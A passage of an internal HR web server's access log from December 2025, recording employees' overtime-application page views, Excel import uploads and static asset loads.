/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:09:03:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.70 - - [01/Dec/2025:09:03:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132643&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 15931 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&requestno=132643" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:03:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132643&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 15931 192.168.11.70 - - [01/Dec/2025:09:03:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:03:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:09:04:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:04:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:09:04:14 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6179272483713623 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:04:14 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6179272483713623 HTTP/1.1" 200 5264 192.168.11.70 - - [01/Dec/2025:09:04:22 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6179272483713623 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6179272483713623" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:04:22 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6179272483713623 HTTP/1.1" 302 - 192.168.11.70 - - [01/Dec/2025:09:04:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4536 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.6179272483713623" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:04:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4536 192.168.11.70 - - [01/Dec/2025:09:04:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4282 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:04:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4282 192.168.11.70 - - [01/Dec/2025:09:05:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:05:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:09:05:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:05:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.125 - - [01/Dec/2025:09:05:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44678 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:05:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44678 192.168.11.125 - - [01/Dec/2025:09:05:31 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:05:31 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.125 - - [01/Dec/2025:09:05:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132628&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 6011 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [01/Dec/2025:09:05:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132628&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 6011 192.168.11.70 - - [01/Dec/2025:09:05:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:05:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:09:05:50 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.30787957604714244 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:05:50 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.30787957604714244 HTTP/1.1" 200 5264 192.168.11.70 - - [01/Dec/2025:09:05:58 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.30787957604714244 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.30787957604714244" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:05:58 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.30787957604714244 HTTP/1.1" 302 - 192.168.11.70 - - [01/Dec/2025:09:05:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5145 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.30787957604714244" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:05:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5145 192.168.11.70 - - [01/Dec/2025:09:06:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4751 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:06:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4751 192.168.11.70 - - [01/Dec/2025:09:06:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:06:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:09:06:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:06:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:09:06:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:06:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:09:06:50 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8912509967416775 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:06:50 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8912509967416775 HTTP/1.1" 200 5264 192.168.11.70 - - [01/Dec/2025:09:06:57 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8912509967416775 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8912509967416775" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:06:57 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8912509967416775 HTTP/1.1" 302 - 192.168.11.70 - - [01/Dec/2025:09:06:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 6695 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8912509967416775" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:06:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 6695 192.168.11.70 - - [01/Dec/2025:09:07:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 6050 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:07:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 6050 192.168.11.70 - - [01/Dec/2025:09:07:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:07:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:09:07:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:09:07:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.37 - - [01/Dec/2025:09:14:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.37 - - [01/Dec/2025:09:14:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 